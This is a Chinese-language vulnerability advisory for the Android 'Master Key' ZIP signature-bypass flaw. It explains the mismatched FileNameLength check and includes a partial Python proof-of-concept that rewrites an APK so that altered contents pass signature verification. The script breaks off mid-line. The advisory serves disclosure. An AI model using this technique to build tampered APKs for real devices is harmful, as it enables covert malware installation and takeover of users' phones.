Google Android签名验证安全绕过漏洞

漏洞起因
设计错误
危险等级

影响系统
Google Android

不受影响系统

危害
远程攻击者可以利用漏洞可安装恶意程序并控制手机。
CVSSv2:

攻击所需条件
攻击者必须构建恶意文件,诱使用户访问。

漏洞信息
Google Android是一种以Linux为基础的开放源代码操作系统,主要使用于便携设备。
Google Android处理Master key存在一个安全漏洞,允许远程攻击者利用漏洞绕过签名,安装恶意程序并控制手机。
漏洞是由于android在解析Zip包时,没有校验ZipEntry和Header中的FileNameLength是否一致。允许攻击者构建恶意文件,绕过签名校验,未授权安装并控制系统。

测试方法
#!/usr/bin/python
import zipfile
import struct
import sys
# usage: ./pocB.py new.apk old.apk file data
zout = zipfile.ZipFile(sys.argv[1], “w”)
zin = zipfile.ZipFile(sys.argv[2], “r”)
replace = sys.argv[3]
new = open(sys.argv[4], ‘r’).read()
fp = zout.fp
for name in zin.namelist():
old = zin.read(name)
if name != replace:
zout.writestr(name, old, zipfile.ZIP_DEFLATED)
else:
assert len(new) <= len(old) # write header, old data, and record offset zout.writestr(name, old, zipfile.ZIP_STORED) offset = fp.tell() # return to name length, set to skip old data fp.seek(-len(old) -len(name) -4, 1) fp.write(struct.pack('

评论关闭。